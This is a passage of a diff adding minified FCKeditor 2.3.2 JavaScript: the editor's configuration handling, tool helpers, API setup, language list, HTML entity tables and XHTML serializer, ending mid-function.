+var FCK=new Object();FCK.Name=FCKURLParams['InstanceName'];FCK.Status=FCK_STATUS_NOTLOADED;FCK.EditMode=FCK_EDITMODE_WYSIWYG;FCK.LoadLinkedFile=function(){var A=window.parent.document;var B=A.getElementById(FCK.Name);var C=A.getElementsByName(FCK.Name);var i=0;while (B||i==0){if (B&&(B.tagName.toLowerCase()=='input'||B.tagName.toLowerCase()=='textarea')){FCK.LinkedField=B;break;};B=C[i++];}};FCK.LoadLinkedFile();var FCKTempBin=new Object();FCKTempBin.Elements=new Array();FCKTempBin.AddElement=function(A){var B=this.Elements.length;this.Elements[B]=A;return B;};FCKTempBin.RemoveElement=function(A){var e=this.Elements[A];this.Elements[A]=null;return e;};FCKTempBin.Reset=function(){var i=0;while (i<this.Elements.length) this.Elements[i++]==null;this.Elements.length=0;}
+var FCKConfig=FCK.Config=new Object();if (document.location.protocol=='file:'){FCKConfig.BasePath=unescape(document.location.pathname.substr(1));FCKConfig.BasePath=FCKConfig.BasePath.replace(/\\/gi, '/');FCKConfig.BasePath='file://'+FCKConfig.BasePath.substring(0,FCKConfig.BasePath.lastIndexOf('/')+1);FCKConfig.FullBasePath=FCKConfig.BasePath;}else{FCKConfig.BasePath=document.location.pathname.substring(0,document.location.pathname.lastIndexOf('/')+1);FCKConfig.FullBasePath=document.location.protocol+'//'+document.location.host+FCKConfig.BasePath;};FCKConfig.EditorPath=FCKConfig.BasePath.replace(/editor\/$/,'');try{FCKConfig.ScreenWidth=screen.width;FCKConfig.ScreenHeight=screen.height;}catch (e){FCKConfig.ScreenWidth=800;FCKConfig.ScreenHeight=600;};FCKConfig.ProcessHiddenField=function(){this.PageConfig=new Object();var A=window.parent.document.getElementById(FCK.Name+'___Config');if (!A) return;var B=A.value.split('&');for (var i=0;i<B.length;i++){if (B[i].length==0) continue;var C=B[i].split('=');var D=unescape(C[0]);var E=unescape(C[1]);if (D=='CustomConfigurationsPath') FCKConfig[D]=E;else if (E.toLowerCase()=="true") this.PageConfig[D]=true;else if (E.toLowerCase()=="false") this.PageConfig[D]=false;else if (E.length>0&&!isNaN(E)) this.PageConfig[D]=parseInt(E);else this.PageConfig[D]=E;}};function FCKConfig_LoadPageConfig(){var oPageConfig=FCKConfig.PageConfig;for (var sKey in oPageConfig) FCKConfig[sKey]=oPageConfig[sKey];};function FCKConfig_PreProcess(){var oConfig=FCKConfig;if (oConfig.AllowQueryStringDebug){try{if ((/fckdebug=true/i).test(window.top.location.search)) oConfig.Debug=true;}catch (e) { /* Ignore it. Much probably we are inside a FRAME where the "top" is in another domain (security error). */ }};if (!oConfig.PluginsPath.endsWith('/')) oConfig.PluginsPath+='/';if (typeof(oConfig.EditorAreaCSS)=='string') oConfig.EditorAreaCSS=[oConfig.EditorAreaCSS];var sComboPreviewCSS=oConfig.ToolbarComboPreviewCSS;if (!sComboPreviewCSS||sComboPreviewCSS.length==0) oConfig.ToolbarComboPreviewCSS=oConfig.EditorAreaCSS;else if (typeof(sComboPreviewCSS)=='string') oConfig.ToolbarComboPreviewCSS=[sComboPreviewCSS];};FCKConfig.ToolbarSets=new Object();FCKConfig.Plugins=new Object();FCKConfig.Plugins.Items=new Array();FCKConfig.Plugins.Add=function(A,B,C){FCKConfig.Plugins.Items.AddItem([A,B,C]);};FCKConfig.ProtectedSource=new Object();FCKConfig.ProtectedSource.RegexEntries=[/<!--[\s\S]*?-->/g,/<script[\s\S]*?<\/script>/gi,/<noscript[\s\S]*?<\/noscript>/gi];FCKConfig.ProtectedSource.Add=function(A){this.RegexEntries.AddItem(A);};FCKConfig.ProtectedSource.Protect=function(A){function _Replace(protectedSource){var B=FCKTempBin.AddElement(protectedSource);return '<!--{PS..'+B+'}-->';};for (var i=0;i<this.RegexEntries.length;i++){A=A.replace(this.RegexEntries[i],_Replace);};return A;};FCKConfig.ProtectedSource.Revert=function(A,B){function _Replace(m,opener,index){var C=B?FCKTempBin.RemoveElement(index):FCKTempBin.Elements[index];return FCKConfig.ProtectedSource.Revert(C,B);};return A.replace(/(<|&lt;)!--\{PS..(\d+)\}--(>|&gt;)/g,_Replace);}
+var FCKDebug=new Object();FCKDebug.Output=function(A,B,C){if (!FCKConfig.Debug) return;if (!C&&A!=null&&isNaN(A)) A=A.replace(/</g,"&lt;");if (!this.DebugWindow||this.DebugWindow.closed) this.DebugWindow=window.open(FCKConfig.BasePath+'fckdebug.html','FCKeditorDebug','menubar=no,scrollbars=no,resizable=yes,location=no,toolbar=no,width=600,height=500',true);if (this.DebugWindow&&this.DebugWindow.Output){try{this.DebugWindow.Output(A,B);}catch (e) {}}};FCKDebug.OutputObject=function(A,B){if (!FCKConfig.Debug) return;var C;if (A!=null){C='Properties of: '+A+'</b><blockquote>';for (var D in A){try{var E=A[D]?A[D]+'':'[null]';C+='<b>'+D+'</b> : '+E.replace(/</g,'&lt;')+'<br>';}catch (e){try{C+='<b>'+D+'</b> : ['+typeof(A[D])+']<br>';}catch (e){C+='<b>'+D+'</b> : [-error-]<br>';}}};C+='</blockquote><b>';} else C='OutputObject : Object is "null".';FCKDebug.Output(C,B,true);}
+var FCKTools=new Object();FCKTools.AppendStyleSheet=function(A,B){if (typeof(B)=='string') return this._AppendStyleSheet(A,B);else{for (var i=0;i<B.length;i++) this._AppendStyleSheet(A,B[i]);}};FCKTools.GetLinkedFieldValue=function(){return FCK.LinkedField.value;};FCKTools.AttachToLinkedFieldFormSubmit=function(A){var B=FCK.LinkedField.form;if (!B) return;if (FCKBrowserInfo.IsIE) B.attachEvent("onsubmit",A);else B.addEventListener('submit',A,false);if (!B.updateFCKeditor) B.updateFCKeditor=new Array();B.updateFCKeditor[B.updateFCKeditor.length]=A;if (!B.originalSubmit&&(typeof(B.submit)=='function'||(!B.submit.tagName&&!B.submit.length))){B.originalSubmit=B.submit;B.submit=FCKTools_SubmitReplacer;}};function FCKTools_SubmitReplacer(){if (this.updateFCKeditor){for (var i=0;i<this.updateFCKeditor.length;i++) this.updateFCKeditor[i]();};this.originalSubmit();};FCKTools.GetElementWindow=function(A){return this.GetDocumentWindow(this.GetElementDocument(A));};FCKTools.GetDocumentWindow=function(A){if (FCKBrowserInfo.IsSafari&&!A.parentWindow) this.FixDocumentParentWindow(window.top);return A.parentWindow||A.defaultView;};FCKTools.FixDocumentParentWindow=function(A){A.document.parentWindow=A;for (var i=0;i<A.frames.length;i++) FCKTools.FixDocumentParentWindow(A.frames[i]);};FCKTools.GetParentWindow=function(A){return A.contentWindow?A.contentWindow:A.parentWindow;};FCKTools.HTMLEncode=function(A){if (!A) return '';A=A.replace(/&/g,'&amp;');A=A.replace(/</g,'&lt;');A=A.replace(/>/g,'&gt;');return A;};FCKTools.AddSelectOption=function(A,B,C){var D=FCKTools.GetElementDocument(A).createElement("OPTION");D.text=B;D.value=C;A.options.add(D);return D;};FCKTools.RunFunction=function(A,B,C,D){if (A) this.SetTimeout(A,0,B,C,D);};FCKTools.SetTimeout=function(A,B,C,D,E){return (E||window).setTimeout(function(){if (D) A.apply(C,[].concat(D));else A.apply(C);},B);};FCKTools.SetInterval=function(A,B,C,D,E){return (E||window).setInterval(function(){A.apply(C,D||[]);},B);};FCKTools.ConvertStyleSizeToHtml=function(A){return A.endsWith('%')?A:parseInt(A);};FCKTools.ConvertHtmlSizeToStyle=function(A){return A.endsWith('%')?A:(A+'px');};FCKTools.GetElementAscensor=function(A,B){var e=A;var C=","+B.toUpperCase()+",";while (e){if (C.indexOf(","+e.nodeName.toUpperCase()+",")!=-1) return e;e=e.parentNode;};return null;};FCKTools.CreateEventListener=function(A,B){var f=function(){var C=[];for (var i=0;i<arguments.length;i++) C.push(arguments[i]);A.apply(this,C.concat(B));};return f;};FCKTools.GetElementDocument=function (A){return A.ownerDocument||A.document;}
+FCKTools.CancelEvent=function(e){return false;};FCKTools._AppendStyleSheet=function(A,B){return A.createStyleSheet(B).owningElement;};FCKTools.ClearElementAttributes=function(A){A.clearAttributes();};FCKTools.GetAllChildrenIds=function(A){var B=new Array();for (var i=0;i<A.all.length;i++){var C=A.all[i].id;if (C&&C.length>0) B[B.length]=C;};return B;};FCKTools.RemoveOuterTags=function(e){e.insertAdjacentHTML('beforeBegin',e.innerHTML);e.parentNode.removeChild(e);};FCKTools.CreateXmlObject=function(A){var B;switch (A){case 'XmlHttp':B=['MSXML2.XmlHttp','Microsoft.XmlHttp'];break;case 'DOMDocument':B=['MSXML2.DOMDocument','Microsoft.XmlDom'];break;};for (var i=0;i<2;i++){try { return new ActiveXObject(B[i]);}catch (e){}};if (FCKLang.NoActiveX){alert(FCKLang.NoActiveX);FCKLang.NoActiveX=null;}};FCKTools.DisableSelection=function(A){A.unselectable='on';var e,i=0;while (e=A.all[i++]){switch (e.tagName){case 'IFRAME':case 'TEXTAREA':case 'INPUT':case 'SELECT':/* Ignore the above tags */ break;default:e.unselectable='on';}}};FCKTools.GetScrollPosition=function(A){var B=A.document;var C={ X:B.documentElement.scrollLeft,Y:B.documentElement.scrollTop };if (C.X>0||C.Y>0) return C;return { X:B.body.scrollLeft,Y:B.body.scrollTop };};FCKTools.AddEventListener=function(A,B,C){A.attachEvent('on'+B,C);};FCKTools.RemoveEventListener=function(A,B,C){A.detachEvent('on'+B,C);};FCKTools.AddEventListenerEx=function(A,B,C,D){var o=new Object();o.Source=A;o.Params=D||[];o.Listener=function(ev){return C.apply(o.Source,[ev].concat(o.Params));};if (FCK.IECleanup) FCK.IECleanup.AddItem(null,function() { o.Source=null;o.Params=null;});A.attachEvent('on'+B,o.Listener);A=null;D=null;};FCKTools.GetViewPaneSize=function(A){var B;var C=A.document.documentElement;if (C&&C.clientWidth) B=C;else B=top.document.body;if (B) return { Width:B.clientWidth,Height:B.clientHeight };else return { Width:0,Height:0 };};FCKTools.SaveStyles=function(A){var B=new Object();if (A.className.length>0){B.Class=A.className;A.className='';};var C=A.style.cssText;if (C.length>0){B.Inline=C;A.style.cssText='';};return B;};FCKTools.RestoreStyles=function(A,B){A.className=B.Class||'';A.style.cssText=B.Inline||'';};FCKTools.RegisterDollarFunction=function(A){A.$=A.document.getElementById;};FCKTools.AppendElement=function(A,B){return A.appendChild(this.GetElementDocument(A).createElement(B));}
+var FCKeditorAPI;function InitializeAPI(){if (!(FCKeditorAPI=window.parent.FCKeditorAPI)){var sScript='\ var FCKeditorAPI={\ Version:\'2.3.2\',\ VersionBuild:\'1082\',\ __Instances:new Object(),\ GetInstance:function(instanceName)\{\ return this.__Instances[instanceName];\},\ _FunctionQueue:{\ Functions:new Array(),\ IsRunning:false,\ Add:function(functionToAdd)\{\ this.Functions.push(functionToAdd);\ if (!this.IsRunning)\ this.StartNext();\},\ StartNext:function()\{\ var aQueue=this.Functions;\ if (aQueue.length>0)\{\ this.IsRunning=true;\ aQueue[0].call();\}\ else\ this.IsRunning=false;\},\ Remove:function(func)\{\ var aQueue=this.Functions;\ var i=0,fFunc;\ while(fFunc=aQueue[i])\{\ if (fFunc==func)\ aQueue.splice(i,1);\ i++;\}\ this.StartNext();\}\}\}';if (window.parent.execScript) window.parent.execScript(sScript,'JavaScript');else{if (FCKBrowserInfo.IsGecko10){eval.call(window.parent,sScript);}else window.parent.eval(sScript);};FCKeditorAPI=window.parent.FCKeditorAPI;};FCKeditorAPI.__Instances[FCK.Name]=FCK;};function FCKeditorAPI_Cleanup(){FCKeditorAPI.__Instances[FCK.Name]=null;};FCKTools.AddEventListener(window,'unload',FCKeditorAPI_Cleanup);
+var FCKRegexLib={AposEntity:/&apos;/gi,ObjectElements:/^(?:IMG|TABLE|TR|TD|TH|INPUT|SELECT|TEXTAREA|HR|OBJECT|A|UL|OL|LI)$/i,BlockElements:/^(?:P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TD|TH)$/i,EmptyElements:/^(?:BASE|META|LINK|HR|BR|PARAM|IMG|AREA|INPUT)$/i,NamedCommands:/^(?:Cut|Copy|Paste|Print|SelectAll|RemoveFormat|Unlink|Undo|Redo|Bold|Italic|Underline|StrikeThrough|Subscript|Superscript|JustifyLeft|JustifyCenter|JustifyRight|JustifyFull|Outdent|Indent|InsertOrderedList|InsertUnorderedList|InsertHorizontalRule)$/i,BodyContents:/([\s\S]*\<body[^\>]*\>)([\s\S]*)(\<\/body\>[\s\S]*)/i,ToReplace:/___fcktoreplace:([\w]+)/ig,MetaHttpEquiv:/http-equiv\s*=\s*["']?([^"' ]+)/i,HasBaseTag:/<base /i,HtmlOpener:/<html\s?[^>]*>/i,HeadOpener:/<head\s?[^>]*>/i,HeadCloser:/<\/head\s*>/i,TableBorderClass:/\s*FCK__ShowTableBorders\s*/,ElementName:/(^[A-Za-z_:][\w.\-:]*\w$)|(^[A-Za-z_]$)/,ForceSimpleAmpersand:/___FCKAmp___/g,SpaceNoClose:/\/>/g,EmptyParagraph:/^<(p|div)>\s*<\/\1>$/i,TagBody:/></,StrongOpener:/<STRONG([ \>])/gi,StrongCloser:/<\/STRONG>/gi,EmOpener:/<EM([ \>])/gi,EmCloser:/<\/EM>/gi,AbbrOpener:/<ABBR([ \>])/gi,AbbrCloser:/<\/ABBR>/gi,GeckoEntitiesMarker:/#\?-\:/g,ProtectUrlsImg:/(?:(<img(?=\s).*?\ssrc=)("|')(.*?)\2)|(?:(<img\s.*?src=)([^"'][^ >]+))/gi,ProtectUrlsA:/(?:(<a(?=\s).*?\shref=)("|')(.*?)\2)|(?:(<a\s.*?href=)([^"'][^ >]+))/gi,Html4DocType:/HTML 4\.0 Transitional/i,DocTypeTag:/<!DOCTYPE[^>]*>/i,TagsWithEvent:/<[^\>]+ on\w+[\s\r\n]*=[\s\r\n]*?('|")[\s\S]+?\>/g,EventAttributes:/\s(on\w+)[\s\r\n]*=[\s\r\n]*?('|")([\s\S]*?)\2/g,ProtectedEvents:/\s\w+_fckprotectedatt="([^"]+)"/g}
+var FCKLanguageManager=FCK.Language=new Object();FCKLanguageManager.AvailableLanguages={'ar':'Arabic','bg':'Bulgarian','bn':'Bengali/Bangla','bs':'Bosnian','ca':'Catalan','cs':'Czech','da':'Danish','de':'German','el':'Greek','en':'English','en-au':'English (Australia)','en-ca':'English (Canadian)','en-uk':'English (United Kingdom)','eo':'Esperanto','es':'Spanish','et':'Estonian','eu':'Basque','fa':'Persian','fi':'Finnish','fo':'Faroese','fr':'French','gl':'Galician','he':'Hebrew','hi':'Hindi','hr':'Croatian','hu':'Hungarian','it':'Italian','ja':'Japanese','km':'Khmer','ko':'Korean','lt':'Lithuanian','lv':'Latvian','mn':'Mongolian','ms':'Malay','nb':'Norwegian Bokmal','nl':'Dutch','no':'Norwegian','pl':'Polish','pt':'Portuguese (Portugal)','pt-br':'Portuguese (Brazil)','ro':'Romanian','ru':'Russian','sk':'Slovak','sl':'Slovenian','sr':'Serbian (Cyrillic)','sr-latn':'Serbian (Latin)','sv':'Swedish','th':'Thai','tr':'Turkish','uk':'Ukrainian','vi':'Vietnamese','zh':'Chinese Traditional','zh-cn':'Chinese Simplified'};FCKLanguageManager.GetActiveLanguage=function(){if (FCKConfig.AutoDetectLanguage){var A;if (navigator.userLanguage) A=navigator.userLanguage.toLowerCase();else if (navigator.language) A=navigator.language.toLowerCase();else{return FCKConfig.DefaultLanguage;};if (A.length>=5){A=A.substr(0,5);if (this.AvailableLanguages[A]) return A;};if (A.length>=2){A=A.substr(0,2);if (this.AvailableLanguages[A]) return A;}};return this.DefaultLanguage;};FCKLanguageManager.TranslateElements=function(A,B,C,D){var e=A.getElementsByTagName(B);var E,s;for (var i=0;i<e.length;i++){if (E=e[i].getAttribute('fckLang')){if (s=FCKLang[E]){if (D) s=FCKTools.HTMLEncode(s);eval('e[i].'+C+' = s');}}}};FCKLanguageManager.TranslatePage=function(A){this.TranslateElements(A,'INPUT','value');this.TranslateElements(A,'SPAN','innerHTML');this.TranslateElements(A,'LABEL','innerHTML');this.TranslateElements(A,'OPTION','innerHTML',true);};FCKLanguageManager.Initialize=function(){if (this.AvailableLanguages[FCKConfig.DefaultLanguage]) this.DefaultLanguage=FCKConfig.DefaultLanguage;else this.DefaultLanguage='en';this.ActiveLanguage=new Object();this.ActiveLanguage.Code=this.GetActiveLanguage();this.ActiveLanguage.Name=this.AvailableLanguages[this.ActiveLanguage.Code];}
+var FCKEvents;FCKEvents=function(A){this.Owner=A;this.RegisteredEvents=new Object();};FCKEvents.prototype.AttachEvent=function(A,B){var C;if (!(C=this.RegisteredEvents[A])) this.RegisteredEvents[A]=[B];else C.push(B);};FCKEvents.prototype.FireEvent=function(A,B){var C=true;var D=this.RegisteredEvents[A];if (D){for (var i=0;i<D.length;i++) C=(D[i](this.Owner,B)&&C);};return C;}
+var FCKXHtmlEntities=new Object();FCKXHtmlEntities.Initialize=function(){if (FCKXHtmlEntities.Entities) return;var A='';if (FCKConfig.ProcessHTMLEntities){FCKXHtmlEntities.Entities={' ':'nbsp','¡':'iexcl','¢':'cent','£':'pound','¤':'curren','¥':'yen','¦':'brvbar','§':'sect','¨':'uml','©':'copy','ª':'ordf','«':'laquo','¬':'not','­':'shy','®':'reg','¯':'macr','°':'deg','±':'plusmn','²':'sup2','³':'sup3','´':'acute','µ':'micro','¶':'para','·':'middot','¸':'cedil','¹':'sup1','º':'ordm','»':'raquo','¼':'frac14','½':'frac12','¾':'frac34','¿':'iquest','×':'times','÷':'divide','ƒ':'fnof','•':'bull','…':'hellip','′':'prime','″':'Prime','‾':'oline','⁄':'frasl','℘':'weierp','ℑ':'image','ℜ':'real','™':'trade','ℵ':'alefsym','←':'larr','↑':'uarr','→':'rarr','↓':'darr','↔':'harr','↵':'crarr','⇐':'lArr','⇑':'uArr','⇒':'rArr','⇓':'dArr','⇔':'hArr','∀':'forall','∂':'part','∃':'exist','∅':'empty','∇':'nabla','∈':'isin','∉':'notin','∋':'ni','∏':'prod','∑':'sum','−':'minus','∗':'lowast','√':'radic','∝':'prop','∞':'infin','∠':'ang','∧':'and','∨':'or','∩':'cap','∪':'cup','∫':'int','∴':'there4','∼':'sim','≅':'cong','≈':'asymp','≠':'ne','≡':'equiv','≤':'le','≥':'ge','⊂':'sub','⊃':'sup','⊄':'nsub','⊆':'sube','⊇':'supe','⊕':'oplus','⊗':'otimes','⊥':'perp','⋅':'sdot','◊':'loz','♠':'spades','♣':'clubs','♥':'hearts','♦':'diams','"':'quot','ˆ':'circ','˜':'tilde',' ':'ensp',' ':'emsp',' ':'thinsp','‌':'zwnj','‍':'zwj','‎':'lrm','‏':'rlm','–':'ndash','—':'mdash','‘':'lsquo','’':'rsquo','‚':'sbquo','“':'ldquo','”':'rdquo','„':'bdquo','†':'dagger','‡':'Dagger','‰':'permil','‹':'lsaquo','›':'rsaquo','€':'euro'};for (var e in FCKXHtmlEntities.Entities) A+=e;if (FCKConfig.IncludeLatinEntities){var B={'À':'Agrave','Á':'Aacute','Â':'Acirc','Ã':'Atilde','Ä':'Auml','Å':'Aring','Æ':'AElig','Ç':'Ccedil','È':'Egrave','É':'Eacute','Ê':'Ecirc','Ë':'Euml','Ì':'Igrave','Í':'Iacute','Î':'Icirc','Ï':'Iuml','Ð':'ETH','Ñ':'Ntilde','Ò':'Ograve','Ó':'Oacute','Ô':'Ocirc','Õ':'Otilde','Ö':'Ouml','Ø':'Oslash','Ù':'Ugrave','Ú':'Uacute','Û':'Ucirc','Ü':'Uuml','Ý':'Yacute','Þ':'THORN','ß':'szlig','à':'agrave','á':'aacute','â':'acirc','ã':'atilde','ä':'auml','å':'aring','æ':'aelig','ç':'ccedil','è':'egrave','é':'eacute','ê':'ecirc','ë':'euml','ì':'igrave','í':'iacute','î':'icirc','ï':'iuml','ð':'eth','ñ':'ntilde','ò':'ograve','ó':'oacute','ô':'ocirc','õ':'otilde','ö':'ouml','ø':'oslash','ù':'ugrave','ú':'uacute','û':'ucirc','ü':'uuml','ý':'yacute','þ':'thorn','ÿ':'yuml','Œ':'OElig','œ':'oelig','Š':'Scaron','š':'scaron','Ÿ':'Yuml'};for (var e in B){FCKXHtmlEntities.Entities[e]=B[e];A+=e;};B=null;};if (FCKConfig.IncludeGreekEntities){var B={'Α':'Alpha','Β':'Beta','Γ':'Gamma','Δ':'Delta','Ε':'Epsilon','Ζ':'Zeta','Η':'Eta','Θ':'Theta','Ι':'Iota','Κ':'Kappa','Λ':'Lambda','Μ':'Mu','Ν':'Nu','Ξ':'Xi','Ο':'Omicron','Π':'Pi','Ρ':'Rho','Σ':'Sigma','Τ':'Tau','Υ':'Upsilon','Φ':'Phi','Χ':'Chi','Ψ':'Psi','Ω':'Omega','α':'alpha','β':'beta','γ':'gamma','δ':'delta','ε':'epsilon','ζ':'zeta','η':'eta','θ':'theta','ι':'iota','κ':'kappa','λ':'lambda','μ':'mu','ν':'nu','ξ':'xi','ο':'omicron','π':'pi','ρ':'rho','ς':'sigmaf','σ':'sigma','τ':'tau','υ':'upsilon','φ':'phi','χ':'chi','ψ':'psi','ω':'omega'};for (var e in B){FCKXHtmlEntities.Entities[e]=B[e];A+=e;};B=null;}}else{FCKXHtmlEntities.Entities={};A=' ';};var D='['+A+']';if (FCKConfig.ProcessNumericEntities) D='[^ -~]|'+D;var E=FCKConfig.AdditionalNumericEntities;if (E||E.length>0) D+='|'+FCKConfig.AdditionalNumericEntities;FCKXHtmlEntities.EntitiesRegex=new RegExp(D,'g');}
+var FCKXHtml=new Object();FCKXHtml.CurrentJobNum=0;FCKXHtml.GetXHTML=function(A,B,C){FCKXHtmlEntities.Initialize();var D=FCK.IsDirty();this._CreateNode=FCKConfig.ForceStrongEm?FCKXHtml_CreateNode_StrongEm:FCKXHtml_CreateNode_Normal;FCKXHtml.SpecialBlocks=new Array();this.XML=FCKTools.CreateXmlObject('DOMDocument');this.MainNode=this.XML.appendChild(this.XML.createElement('xhtml'));FCKXHtml.CurrentJobNum++;if (B) this._AppendNode(this.MainNode,A);else this._AppendChildNodes(this.MainNode,A,false);var E=this._GetMainXmlString();this.XML=null;E=E.substr(7,E.length-15).trim();if (FCKBrowserInfo.IsGecko) E=E.replace(/<br\/>$/,'');E=E.replace(FCKRegexLib.SpaceNoClose,' />');if (FCKConfig.ForceSimpleAmpersand) E=E.replace(FCKRegexLib.ForceSimpleAmpersand,'&');if (C) E=FCKCodeFormatter.Format(E);for (var i=0;i<FCKXHtml.SpecialBlocks.length;i++){var F=new RegExp('___FCKsi___'+i);E=E.replace(F,FCKXHtml.SpecialBlocks[i]);};E=E.replace(FCKRegexLib.GeckoEntitiesMarker,'&');if (!D) FCK.ResetIsDirty();return E};FCKXHtml._AppendAttribute=function(A,B,C){if (FCKConfig.ForceSimpleAmpersand&&C.replace) C=C.replace(/&/g,'___FCKAmp___');try{var D=this.XML.createAttribute(B);D.value=C?C:'';A.attributes.setNamedItem(D);}catch (e){}};FCKXHtml._AppendChildNodes=function(A,B,C){var D=0;var E=B.firstChild;while (E){if (this._AppendNode(A,E)) D++;E=E.nextSibling;};if (D==0){if (C&&FCKConfig.FillEmptyBlocks){this._AppendEntity(A,'nbsp');return;};if (!FCKRegexLib.EmptyElements.test(B.nodeName)) A.appendChild(this.XML.createTextNode(''));}};FCKXHtml._AppendNode=function(A,B){if (!B) return;switch (B.nodeType){case 1:if (B.getAttribute('_fckfakelement')) return FCKXHtml._AppendNode(A,FCK.GetRealElement(B));if (FCKBrowserInfo.IsGecko&&B.hasAttribute('_moz_editor_bogus_node')) return false;if (B.getAttribute('_fcktemp')) return false;var C=B.nodeName;if (FCKBrowserInfo.IsIE&&B.scopeName&&B.scopeName!='HTML'&&B.scopeName!='FCK') C=B.scopeName+':'+C;if (!FCKRegexLib.ElementName.test(C)) return false;C=C.toLowerCase();if (FCKBrowserInfo.IsGecko&&C=='br'&&B.hasAttribute('type')&&B.getAttribute('type',2)=='_moz') return false;if (B._fckxhtmljob&&B._fckxhtmljob==FCKXHtml.CurrentJobNum) return false;var D=this._CreateNode(C);FCKXHtml._AppendAttributes(A,B,D,C);B._fckxhtmljob=FCKXHtml.CurrentJobNum;var E=FCKXHtml.TagProcessors[C];if (E){D=E(D,B,A);if (!D) break;}else this._AppendChildNodes(D,B,FCKRegexLib.BlockElements.test(C));A.appendChild(D);break;case 3:this._AppendTextNode(A,B.nodeValue.replaceNewLineChars(' '));break;case 8:if (FCKBrowserInfo.IsIE&&!B.innerHTML) break;try { A.appendChild(this.XML.createComment(B.nodeValue));}catch (e) { /* Do nothing... probably this is a wrong format comment. */};break;default:A.appendChild(this.XML.createComment("Element not supported - Type: "+B.nodeType+" Name: "+B.nodeName));break;};return true;};function FCKXHtml_CreateNode_StrongEm(nodeName){switch (nodeName){case 'b':nodeName='strong';break;case 'i':nodeName='em';break;};return this.XML.createElement(nodeName);};function FCKXHtml_CreateNode_Normal(nodeName){return this.XML.createElement(nodeName);};FCKXHtml._AppendSpecialItem=function(A){return '___FCKsi___'+FCKXHtml.SpecialBlocks.AddItem(A);};FCKXHtml._AppendEntity=function(A,B){A.appendChild(this.XML.createTextNode('#?-:'+B+';'));};FCKXHtml._AppendTextNode=function(A,B){A.appendChild(this.XML.createTextNode(B.replace(FCKXHtmlEntities.EntitiesRegex,FCKXHtml_GetEntity)));return;};function FCKXHtml_GetEntity(character){var sEntity=FCKXHtmlEntities.Entities[character]||('#'+character.charCodeAt(0));return '#?-:'+sEntity+';';};FCKXHtml.TagProcessors=new Object();FCKXHtml.TagProcessors['img']=function(A,B){if (!A.attributes.getNamedItem('alt')) FCKXHtml._AppendAttribute(A,'alt','');var C=B.getAttribute('_fcksavedurl');if (C!=null) FCKXHtml._AppendAttribute(A,'src',C);return A;};FCKXHtml.TagProcessors['a']=function(A,B){var C=B.getAttribute('_fcksavedurl');if (C!=null) FCKXHtml._AppendAttribute(A,'href',C);FCKXHtml._AppendChildNodes(A,B,false);if (A.childNodes.length==0&&!A.getAttribute('name')) return false;return A;};FCKXHtml.TagProcessors['script']=function(A,B){if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text/javascript');A.appendChild(FCKXHtml.XML.createTextNode(FCKXHtml._AppendSpecialItem(B.text)));return A;};FCKXHtml.TagProcessors['style']=function(A,B){if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text/css');A.appendChild(FCKXHtml.XML.createTextNode(FCKXHtml._AppendSpecialItem(B.innerHTML)));return A;};FCKXHtml.TagProcessors['title']=function(A,B){A.appendChild(FCKXHtml.XML.createTextNode(FCK.EditorDocument.title));return A;};FCKXHtml.TagProcessors['table']=function(A,B){var C=A.attributes.getNamedItem('class');if (C&&FCKRegexLib.TableBorderClass.test(C.nodeValue)){var D=C.nodeValue.replace(FCKRegexLib.TableBorderClass,'');if (D.length==0) A.attributes.removeNamedItem('class');else FCKXHtml._AppendAttribute(A,'class',D);};FCKXHtml._AppendChildNodes(A,B,false);return A;};FCKXHtml.TagProcessors['ol']=FCKXHtml.TagProcessors['ul']=function(A,B,C){if (B.innerHTML.trim().length==0) return;var D=C.lastChild;if (D&&D.nodeType==3) D=D.previousSibling;if (D&&D.nodeName.toUpperCase()=='LI'){B._fckxhtmljob=null;FCKXHtml._AppendNode(D,B);return;};FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['span']=function(A,B){if (B.innerHTML.length==0) return false;FCKXHtml._AppendChildNodes(A,B,false);return A;}
+FCKXHtml._GetMainXmlString=function(){return this.MainNode.xml;};FCKXHtml._AppendAttributes=function(A,B,C,D){var E=B.attributes;for (var n=0;n<E.length;n++){var F=E[n];if (F.specified){var G=F.nodeName.toLowerCase();var H;if (G.startsWith('_fck')) continue;else if (G=='style') H=B.style.cssText;else if (G=='class'||G.indexOf('on')==0) H=F.nodeValue;else if (D=='body'&&G=='contenteditable') continue;else if (F.nodeValue===true) H=G;else if (!(H=B.getAttribute(G,2))) H=F.nodeValue;this._AppendAttribute(C,G,H);}}};FCKXHtml.TagProcessors['meta']=function(A,B){var C=A.attributes.getNamedItem('http-equiv');if (C==null||C.value.length==0){var D=B.outerHTML.match(FCKRegexLib.MetaHttpEquiv);if (D){D=D[1];FCKXHtml._AppendAttribute(A,'http-equiv',D);}};return A;};FCKXHtml.TagProcessors['font']=function(A,B){if (A.attributes.length==0) A=FCKXHtml.XML.createDocumentFragment();FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['input']=function(A,B){if (B.name) FCKXHtml._AppendAttribute(A,'name',B.name);if (B.value&&!A.attributes.getNamedItem('value')) FCKXHtml._AppendAttribute(A,'value',B.value);if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text');return A;};FCKXHtml.TagProcessors['option']=function(A,B){if (B.selected&&!A.attributes.getNamedItem('selected')) FCKXHtml._AppendAttribute(A,'selected','selected');FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['area']=function(A,B){if (!A.attributes.getNamedItem('coords')){var C=B.getAttribute('coords',2);if (C&&C!='0,0,0') FCKXHtml._AppendAttribute(A,'coords',C);};if (!A.attributes.getNamedItem('shape')){var C=B.getAttribute('shape',2);if (C&&C.length>0) FCKXHtml._AppendAttribute(A,'shape',C);};return A;};FCKXHtml.TagProcessors['label']=function(A,B){if (B.htmlFor.length>0) FCKXHtml._AppendAttribute(A,'for',B.htmlFor);FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['form']=function(A,B){if (B.acceptCharset&&B.acceptCharset.length>0&&B.acceptCharset!='UNKNOWN') FCKXHtml._AppendAttribute(A,'accept-charset',B.acceptCharset);if (B.name) FCKXHtml._AppendAttribute(A,'name',B.name);FCKXHtml._AppendChildNodes(A,B);return A;};FCKXHtml.TagProcessors['textarea']=FCKXHtml.TagProcessors['select']=function(A,B){if (B.name) 